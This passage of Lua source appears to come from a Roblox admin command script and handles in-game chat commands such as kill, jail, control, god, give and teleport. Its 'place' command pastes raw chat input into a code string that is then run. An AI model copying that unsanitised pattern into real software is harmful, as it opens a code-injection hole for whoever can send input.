v.Changed:connect(function(p) if p ~= &quot;Character&quot; or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) v.Character.Torso.CFrame = cf end)
end)
local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
local msh = Instance.new(&quot;BlockMesh&quot;, front) msh.Scale = Vector3.new(1,1,0)
local msh2 = msh:Clone() msh2.Parent = back
local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
local msh4 = msh3:Clone() msh4.Parent = left
v.Character.Torso.CFrame = cf
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unjail &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. &quot; Jail&quot; then jl:Remove() end end end end)) end
end


if msg:lower():sub(1,11) == &quot;starttools &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) then
for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
end
end))
end
end


if msg:lower():sub(1,6) == &quot;sword &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))

for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) then
local newsword = script.scripts.Sword:Clone()
newsword.Parent = v.Backpack
local handle = Instance.new(&quot;Part&quot;, newsword)
handle.Name = &quot;Handle&quot;
handle.Size = Vector3.new(1, 0.8, 4)
newsword.Mesh.Parent = newsword.Handle
newsword[&quot;Local Gui&quot;].Disabled = false
newsword.SwordScript.Disabled = false
end
end))
end
end


if msg:lower():sub(1,6) == &quot;clone &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
pcall(function() v.Character.archivable = true end)
pcall(function() v.Character.Archivable = true end)
local cl = v.Character:Clone() 
table.insert(objects,cl) 
cl.Parent = game.Workspace 
cl:MoveTo(v.Character:GetModelCFrame().p)
cl:MakeJoints()
pcall(function() v.Character.archivable = false end)
pcall(function() v.Character.Archivable = false end) --^not trying to see if 2014 is backwards compatible with lowercase so fk it
end
end))
end
end

if msg:lower():sub(1,8) == &quot;control &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
v.Character.Humanoid.PlatformStand = true
local w = Instance.new(&quot;Weld&quot;, plr.Character.Torso ) 
w.Part0 = plr.Character.Torso 
w.Part1 = v.Character.Torso  
local w2 = Instance.new(&quot;Weld&quot;, plr.Character.Head) 
w2.Part0 = plr.Character.Head 
w2.Part1 = v.Character.Head  
local w3 = Instance.new(&quot;Weld&quot;, plr.Character:findFirstChild(&quot;Right Arm&quot;)) 
w3.Part0 = plr.Character:findFirstChild(&quot;Right Arm&quot;)
w3.Part1 = v.Character:findFirstChild(&quot;Right Arm&quot;) 
local w4 = Instance.new(&quot;Weld&quot;, plr.Character:findFirstChild(&quot;Left Arm&quot;))
w4.Part0 = plr.Character:findFirstChild(&quot;Left Arm&quot;)
w4.Part1 = v.Character:findFirstChild(&quot;Left Arm&quot;) 
local w5 = Instance.new(&quot;Weld&quot;, plr.Character:findFirstChild(&quot;Right Leg&quot;)) 
w5.Part0 = plr.Character:findFirstChild(&quot;Right Leg&quot;)
w5.Part1 = v.Character:findFirstChild(&quot;Right Leg&quot;) 
local w6 = Instance.new(&quot;Weld&quot;, plr.Character:findFirstChild(&quot;Left Leg&quot;)) 
w6.Part0 = plr.Character:findFirstChild(&quot;Left Leg&quot;)
w6.Part1 = v.Character:findFirstChild(&quot;Left Leg&quot;) 
plr.Character.Head.face:Remove()
for i, p in pairs(v.Character:children()) do
if p:isA(&quot;BasePart&quot;) then 
p.CanCollide = false
end
end
for i, p in pairs(plr.Character:children()) do
if p:isA(&quot;BasePart&quot;) then 
p.Transparency = 1 
elseif p:isA(&quot;Hat&quot;) then
p:Remove()
end
end
v.Character.Parent = plr.Character
v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
end
end))
end
end

if msg:lower():sub(1,5) == &quot;kill &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then v.Character:BreakJoints() end
end))
end
end

if msg:lower():sub(1,8) == &quot;respawn &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then v:LoadCharacter() end
end))
end
end

if msg:lower():sub(1,5) == &quot;trip &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180)) 
end
end))
end
end

if msg:lower():sub(1,5) == &quot;stun &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.PlatformStand = true
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unstun &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.PlatformStand = false
end
end))
end
end



if msg:lower():sub(1,6) == &quot;gubby &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and not v:findFirstChild(&quot;gubby&quot;) then 
local gubby = script.scripts.gubby:clone() gubby.Parent = v.Character
gubby.Disabled = false
end
end))
end
end



if msg:lower():sub(1,5) == &quot;jump &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.Jump = true
end
end))
end
end

if msg:lower():sub(1,4) == &quot;sit &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.Sit = true
end
end))
end
end

if msg:lower():sub(1,10) == &quot;invisible &quot; then
local plrz = GetPlr(plr, msg:lower():sub(11))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) then obj.Transparency = 1 if obj:findFirstChild(&quot;face&quot;) then obj.face.Transparency = 1 end elseif obj:isA(&quot;Hat&quot;) and obj:findFirstChild(&quot;Handle&quot;) then obj.Handle.Transparency = 1 end
end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;visible &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) then obj.Transparency = 0 if obj:findFirstChild(&quot;face&quot;) then obj.face.Transparency = 0 end elseif obj:isA(&quot;Hat&quot;) and obj:findFirstChild(&quot;Handle&quot;) then obj.Handle.Transparency = 0 end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;lock &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) then obj.Locked = true elseif obj:isA(&quot;Hat&quot;) and obj:findFirstChild(&quot;Handle&quot;) then obj.Handle.Locked = true end
end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unlock &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) then obj.Locked = false elseif obj:isA(&quot;Hat&quot;) and obj:findFirstChild(&quot;Handle&quot;) then obj.Handle.Locked = false end
end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;explode &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local ex = Instance.new(&quot;Explosion&quot;, game.Workspace) ex.Position = v.Character.Torso.Position
end
end))
end
end

if msg:lower():sub(1,7) == &quot;rocket &quot; then ---ABSOLUTELY not skidded from p299!!!
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local ex = Instance.new(&quot;Explosion&quot;, game.Workspace) ex.BlastPressure = 0 ex.Position = v.Character.Torso.Position
local r = Instance.new(&quot;Part&quot;)
r.Name = &quot;Rocket&quot;
r.Size = Vector3.new(1,8,1)
r.TopSurface = &quot;Smooth&quot;
r.BottomSurface = &quot;Smooth&quot;
local w = Instance.new(&quot;Weld&quot;)
w.Part1 = v.Character.Torso
w.Part0 = r
w.C0 = CFrame.new(0,0,-1)
local bt = Instance.new(&quot;BodyThrust&quot;)
bt.force = Vector3.new(0,5700,0)
bt.Parent = r
r.Parent = v.Character
w.Parent = v.Character.Torso
local roc = script.scripts.rocket:clone()
roc.Parent = v.Character.Rocket
roc.Disabled = false
end
end))
end
end

if msg:lower():sub(1,4) == &quot;age &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v then Message(v.Name .. &quot;&apos;s age&quot;, tostring(v.AccountAge), false, {plr}) end
end))
end
end

if msg:lower():sub(1,5) == &quot;fire &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local cl = Instance.new(&quot;Fire&quot;, v.Character.Torso) table.insert(objects, cl)
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unfire &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for z, cl in pairs(v.Character.Torso:children()) do if cl:isA(&quot;Fire&quot;) then cl:Remove() end end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;smoke &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local cl = Instance.new(&quot;Smoke&quot;, v.Character.Torso) table.insert(objects, cl)
end
end))
end
end

if msg:lower():sub(1,8) == &quot;unsmoke &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for z, cl in pairs(v.Character.Torso:children()) do if cl:isA(&quot;Smoke&quot;) then cl:Remove() end end
end
end))
end
end

if msg:lower():sub(1,9) == &quot;sparkles &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local cl = Instance.new(&quot;Sparkles&quot;, v.Character.Torso) table.insert(objects, cl)
end
end))
end
end

if msg:lower():sub(1,11) == &quot;unsparkles &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for z, cl in pairs(v.Character.Torso:children()) do if cl:isA(&quot;Sparkles&quot;) then cl:Remove() end end
end
end))
end
end

if msg:lower():sub(1,3) == &quot;ff &quot; then
local plrz = GetPlr(plr, msg:lower():sub(4))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then Instance.new(&quot;ForceField&quot;, v.Character) end
end))
end
end

if msg:lower():sub(1,5) == &quot;unff &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for z, cl in pairs(v.Character:children()) do if cl:isA(&quot;ForceField&quot;) then cl:Remove() end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;punish &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.Character.Parent = game:service(&quot;Lighting&quot;)
end
end))
end
end

if msg:lower():sub(1,9) == &quot;unpunish &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.Character.Parent = game:service(&quot;Workspace&quot;)
v.Character:MakeJoints()
end
end))
end
end

if msg:lower():sub(1,7) == &quot;freeze &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;thaw &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
for a, obj in pairs(v.Character:children()) do 
if obj:isA(&quot;BasePart&quot;) then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;heal &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
end
end))
end
end

if msg:lower():sub(1,4) == &quot;god &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.MaxHealth = math.huge
v.Character.Humanoid.Health = 9e9
end
end))
end
end

if msg:lower():sub(1,6) == &quot;ungod &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.MaxHealth = 100
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
end
end))
end
end

if msg:lower():sub(1,8) == &quot;ambient &quot; then
local chk1 = msg:lower():sub(9):find(&quot; &quot;) + 8
local chk2 = msg:sub(chk1+1):find(&quot; &quot;) + chk1
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
end

if msg:lower():sub(1,11) == &quot;brightness &quot; then
game.Lighting.Brightness = msg:sub(12)
end

if msg:lower():sub(1,5) == &quot;time &quot; then
game.Lighting.TimeOfDay = msg:sub(6)
end

if msg:lower():sub(1,9) == &quot;fogcolor &quot; then
local chk1 = msg:lower():sub(10):find(&quot; &quot;) + 9
local chk2 = msg:sub(chk1+1):find(&quot; &quot;) + chk1
pcall(function() game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1)) end)
end

if msg:lower():sub(1,7) == &quot;fogend &quot; then
pcall(function() game.Lighting.FogEnd = msg:sub(8) end)
end

if msg:lower():sub(1,9) == &quot;fogstart &quot; then
pcall(function() game.Lighting.FogStart = msg:sub(10) end)
end

if msg:lower():sub(1,7) == &quot;btools &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) then 
local t1 = Instance.new(&quot;HopperBin&quot;, v.Backpack) t1.Name = &quot;Move&quot; t1.BinType = &quot;GameTool&quot;
local t2 = Instance.new(&quot;HopperBin&quot;, v.Backpack) t2.Name = &quot;Clone&quot; t2.BinType = &quot;Clone&quot;
local t3 = Instance.new(&quot;HopperBin&quot;, v.Backpack) t3.Name = &quot;Delete&quot; t3.BinType = &quot;Hammer&quot;
local t4 = Instance.new(&quot;HopperBin&quot;, v.Backpack) t4.Name = &quot;Resize&quot;
local t5 = Instance.new(&quot;HopperBin&quot;, v.Backpack) t5.Name = &quot;Unlock&quot;
local cl4 = script.scripts.resize:Clone() cl4.Parent = t4 cl4.Disabled = false
local cl5 = script.scripts.unlock:Clone() cl5.Parent = t5 cl5.Disabled = false
local c16 = script.scripts.Rotate:Clone() c16.Parent = v.Backpack c16.Rotate.Disabled = false local c16a = Instance.new(&quot;Part&quot;, c16) c16a.Name = &quot;Handle&quot; c16.Mesh.Parent = c16a 
end
end))
end
end

if msg:lower():sub(1,12) == &quot;startergive &quot; then
local chk1 = msg:lower():sub(13):find(&quot; &quot;) + 12
local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;StarterGear&quot;) and game:findFirstChild(&quot;Lighting&quot;) then 
for a, tool in pairs(game.Lighting:children()) do
if tool:isA(&quot;Tool&quot;) or tool:isA(&quot;HopperBin&quot;) then
if msg:lower():sub(chk1+1) == &quot;all&quot; or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;give &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) and game:findFirstChild(&quot;Lighting&quot;) then 
for a, tool in pairs(game.Lighting:children()) do
if tool:isA(&quot;Tool&quot;) or tool:isA(&quot;HopperBin&quot;) then
if msg:lower():sub(chk1+1) == &quot;all&quot; or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
end
end
end
end))
end
end

if msg:lower():sub(1,12) == &quot;removetools &quot; then
local plrz = GetPlr(plr, msg:lower():sub(13))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v:findFirstChild(&quot;Backpack&quot;) then 
for a, tool in pairs(v.Character:children()) do if tool:isA(&quot;Tool&quot;) or tool:isA(&quot;HopperBin&quot;) then tool:Remove() end end
for a, tool in pairs(v.Backpack:children()) do if tool:isA(&quot;Tool&quot;) or tool:isA(&quot;HopperBin&quot;) then tool:Remove() end end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;rank &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:IsInGroup(msg:sub(chk1+1)) then 
Hint(&quot;[&quot; .. v:GetRankInGroup(msg:sub(chk1+1)) .. &quot;] &quot; .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
Hint(v.Name .. &quot; is not in the group &quot; .. msg:sub(chk1+1), {plr})
end
end))
end
end

if msg:lower():sub(1,7) == &quot;damage &quot; then
local chk1 = msg:lower():sub(8):find(&quot; &quot;) + 7
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
end
end))
end
end

if msg:lower():sub(1,5) == &quot;grav &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == &quot;BFRC&quot; then frc:Remove() end end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;setgrav &quot; then
local chk1 = msg:lower():sub(9):find(&quot; &quot;) + 8
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == &quot;BFRC&quot; then frc:Remove() end end
local frc = Instance.new(&quot;BodyForce&quot;, v.Character.Torso) frc.Name = &quot;BFRC&quot; frc.force = Vector3.new(0,0,0)
for a, prt in pairs(v.Character:children()) do if prt:isA(&quot;BasePart&quot;) then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:isA(&quot;Hat&quot;) then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;nograv &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == &quot;BFRC&quot; then frc:Remove() end end
local frc = Instance.new(&quot;BodyForce&quot;, v.Character.Torso) frc.Name = &quot;BFRC&quot; frc.force = Vector3.new(0,0,0)
for a, prt in pairs(v.Character:children()) do if prt:isA(&quot;BasePart&quot;) then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:isA(&quot;Hat&quot;) then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;health &quot; then
local chk1 = msg:lower():sub(8):find(&quot; &quot;) + 7
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
end
end))
end
end

if msg:lower():sub(1,6) == &quot;speed &quot; then
local chk1 = msg:lower():sub(7):find(&quot; &quot;) + 6
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
end
end))
end
end

if msg:lower():sub(1,5) == &quot;team &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and game:findFirstChild(&quot;Teams&quot;) then 
for a, tm in pairs(game.Teams:children()) do
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;place &quot; then
local chk1 = msg:lower():sub(7):find(&quot; &quot;) + 6
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
local cl = script.teleport:Clone() cl.Code.Value = [[game:service(&quot;TeleportService&quot;):Teleport(]] .. msg:sub(chk1+1) .. &quot;)&quot; cl.Parent = v.PlayerGui cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,3) == &quot;tp &quot; then
local chk1 = msg:lower():sub(4):find(&quot; &quot;) + 3
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
for i2, v2 in pairs(plrz2) do
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild(&quot;Torso&quot;) and v2.Character:findFirstChild(&quot;Torso&quot;) then
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;change &quot; then
local chk1 = msg:lower():sub(8):find(&quot; &quot;) + 7
local chk2 = msg:sub(chk1+1):find(&quot; &quot;) + chk1
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;leaderstats&quot;) then 
for a, st in pairs(v.leaderstats:children()) do
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;freecam &quot; or msg:lower():sub(1,3) == &quot;fc &quot; then --wow what an eyesore
local pref = msg:lower():sub(1,3) == &quot;fc &quot; and 3 or 8
local rest = msg:sub(pref+1)
local spc  = rest:find(&quot; &quot;)
local user = spc and rest:sub(1,spc-1) or rest
local spd  = spc and tonumber(rest:sub(spc+1)) or nil
local plrz = GetPlr(plr, user)

for i, v in ipairs(plrz) do
if v.PlayerGui:findFirstChild(&quot;L2012fc&quot;) or v.Backpack:findFirstChild(&quot;Freecam&quot;) then
if v.PlayerGui:findFirstChild(&quot;L2012fc&quot;) then
local fc = v.PlayerGui:findFirstChild(&quot;L2012fc&quot;)
if spd then
local s = fc:findFirstChild(&quot;Speed&quot;)
if s and s:isA(&quot;NumberValue&quot;) then s.Value = spd end
end
end
if v.Backpack:findFirstChild(&quot;Freecam&quot;) then
local fc = v.Backpack:findFirstChild(&quot;Freecam&quot;)
if spd then
local s = fc:findFirstChild(&quot;LocalScript&quot;):findFirstChild(&quot;Speed&quot;)
if s and s:isA(&quot;NumberValue&quot;) then s.Value = spd end
end
end

else

local is2012L = pcall(function() return game:GetService(&quot;UserInputService&quot;).GamepadEnabled end)
if is2012L then
local L2012 = script.scripts.L2012fc:clone() L2012.Parent = v.PlayerGui
if spd then
local s = L2012:findFirstChild(&quot;Speed&quot;)
if s and s:isA(&quot;NumberValue&quot;) then s.Value = spd end
end
L2012.Disabled = false
else
local pre2012 = script.scripts.Freecam:clone() pre2012.Parent = v.Backpack
if spd then
local s = pre2012:findFirstChild(&quot;LocalScript&quot;):findFirstChild(&quot;Speed&quot;)
if s and s:isA(&quot;NumberValue&quot;) then s.Value = spd end
end
pre2012.LocalScript.Disabled = false
end
end
end
end


if msg:lower():sub(1,10) == &quot;unfreecam &quot; or msg:lower():sub(1,5) == &quot;unfc &quot; then
local pref = msg:lower():sub(1,5) == &quot;unfc &quot; and 5 or 10
local user = msg:sub(pref+1)
local plrz = GetPlr(plr, user)
for i, v in ipairs(plrz) do
if v.Backpack:findFirstChild(&quot;Freecam&quot;) then
local fc = v.Backpack:findFirstChild(&quot;Freecam&quot;)
local ls = fc:findFirstChild(&quot;LocalScript&quot;)
if ls then
local dis = ls:findFirstChild(&quot;Disable&quot;)
if dis and dis:isA(&quot;BoolValue&quot;) then dis.Value = true end
end
wait()
fc:remove()
elseif v.PlayerGui:findFirstChild(&quot;L2012fc&quot;) then
local fc = v.PlayerGui:findFirstChild(&quot;L2012fc&quot;)
local dis = fc:findFirstChild(&quot;Disable&quot;)
if dis and dis:isA(&quot;BoolValue&quot;) then dis.Value = true end
wait()
fc:remove()
end
end
end


if msg:lower():sub(1,5) == &quot;view &quot; then
local targets = GetPlr(plr, msg:lower():sub(6))
for i, v in ipairs(targets) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
local gui = plr.PlayerGui
if gui:findFirstChild(&quot;view&quot;) then
local view = gui.view
view.Target.Value = v.Character.Humanoid
view.Disable.Value = false
else
local viewscript = script.scripts.view:clone()
viewscript.Parent = gui
viewscript.Target.Value = v.Character.Humanoid
viewscript.Disable.Value = false
viewscript.Disabled = false
end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;unview&quot; then
coroutine.resume(coroutine.create(function()
if plr.PlayerGui:findFirstChild(&quot;view&quot;) then
local view = plr.PlayerGui.view
view.Disable.Value = true
wait()
view:remove()
end
end))
end



if msg:lower():sub(1,5) == &quot;grav &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
